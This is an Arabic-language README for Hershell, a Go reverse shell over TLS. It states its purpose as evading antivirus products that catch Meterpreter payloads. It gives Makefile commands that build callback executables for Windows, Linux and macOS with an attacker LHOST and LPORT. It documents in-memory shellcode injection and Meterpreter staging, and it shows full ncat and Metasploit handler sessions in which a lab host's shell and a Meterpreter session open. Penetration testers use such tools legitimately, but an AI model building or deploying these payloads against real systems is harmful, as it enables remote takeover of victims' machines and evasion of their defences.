
Hershell هي صدفة عكسية بسيطة عبر TCP مكتوبة بلغة Go.
ملاحظة: تم عمل fork للمشروع في هذا المستودع، تحقق من هناك لأي تطورات أخرى.
هيرشيل هو غلاف عكسي بسيط عبر TCP مكتوب بلغة Go.
يستخدم TLS لتأمين الاتصالات، ويوفر ميزة تثبيت بصمة المفتاح العام للشهادة، مما يمنع اعتراض حركة المرور.
أنظمة التشغيل المدعومة هي:
على الرغم من أن حمولات Meterpreter رائعة، إلا أنها أحيانًا يتم اكتشافها بواسطة منتجات مكافحة الفيروسات.
الهدف من هذا المشروع هو الحصول على غلاف عكسي بسيط يعمل على أنظمة متعددة.
نظرًا لأنه مكتوب بلغة Go، يمكنك تجميع المصدر عبر التجميع للمعمارية المطلوبة.
نظرًا لأن هذا مشروع Go، ستحتاج إلى اتباع التوثيق الرسمي لإعداد بيئة Golang الخاصة بك (باستخدام متغير البيئة $GOPATH).
ثم، قم بتشغيل go get github.com/sysdream/hershell لجلب المشروع.
لتبسيط الأمور، يمكنك استخدام ملف Makefile المقدم. يمكنك تعيين متغيرات البيئة التالية:
GOOS : نظام التشغيل الهدفGOARCH : المعمارية الهدفLHOST : عنوان IP أو اسم النطاق للمهاجمLPORT : منفذ الاستماعبالنسبة لمتغيرات GOOS و GOARCH، يمكنك الحصول على القيم المسموح بها هنا.
ومع ذلك، تتوفر بعض الأهداف المساعدة في ملف Makefile:
depends : إنشاء شهادة الخادم (مطلوبة للغلاف العكسي)windows32 : بناء ملف تنفيذي لويندوز 32 بت (PE 32 بت)windows64 : بناء ملف تنفيذي لويندوز 64 بت (PE 64 بت)linux32 : بناء ملف تنفيذي للينكس 32 بت (ELF 32 بت)linux64 : بناء ملف تنفيذي للينكس 64 بت (ELF 64 بت)macos32 : بناء ملف تنفيذي لماك أو إس 32 بت (Mach-O)macos64 : بناء ملف تنفيذي لماك أو إس 64 بت (Mach-O)لهذه الأهداف، تحتاج فقط إلى تعيين متغيرات البيئة LHOST و LPORT.
بمجرد التنفيذ، سيتم تزويدك بغلاف عن بعد. هذا الغلاف التفاعلي المخصص سيسمح لك بتنفيذ أوامر النظام عبر cmd.exe على ويندوز، أو /bin/sh على أجهزة UNIX.
الأوامر الخاصة التالية مدعومة:
run_shell : يمنحك غلاف نظام (يسمح لك، على سبيل المثال، بتغيير المجلدات)inject <base64 shellcode> : يحقن شيلكود (مشفر بـ base64) في ذاكرة نفس العملية، وينفذه (فقط على ويندوز في الوقت الحالي).meterpreter [tcp|http|https] IP:PORT : يتصل بـ multi/handler للحصول على meterpreter عكسي من metasploit عبر TCP أو HTTP أو HTTPS للمرحلة الثانية، وينفذ الشيلكود في الذاكرة (فقط على ويندوز في الوقت الحالي)exit : خروج بشكل أنيقأولاً، ستحتاج إلى إنشاء شهادة صالحة:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
لويندوز:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
لينكس:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
لماك أو إس إكس:
$ make macos LHOST=192.168.0.12 LPORT=1234
يمكن استخدام أدوات متنوعة للتعامل مع الاتصالات الواردة، مثل:
python/shell_reverse_tcp_ssl)هذا مثال باستخدام ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
تحذير: هذا يعمل حاليًا فقط على منصة ويندوز.
يدعم تمثيل meterpreter حاليًا الحمولات التالية:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsلاستخدام الحمولة الصحيحة، فقط حدد الناقل الذي تريد استخدامه (tcp, http, https)
لاستخدام ميزة تمثيل meterpreter، فقط ابدأ المعالج الخاص بك:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
ثم، في hershell، استخدم الأمر meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
يجب أن تظهر جلسة meterpreter جديدة في msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>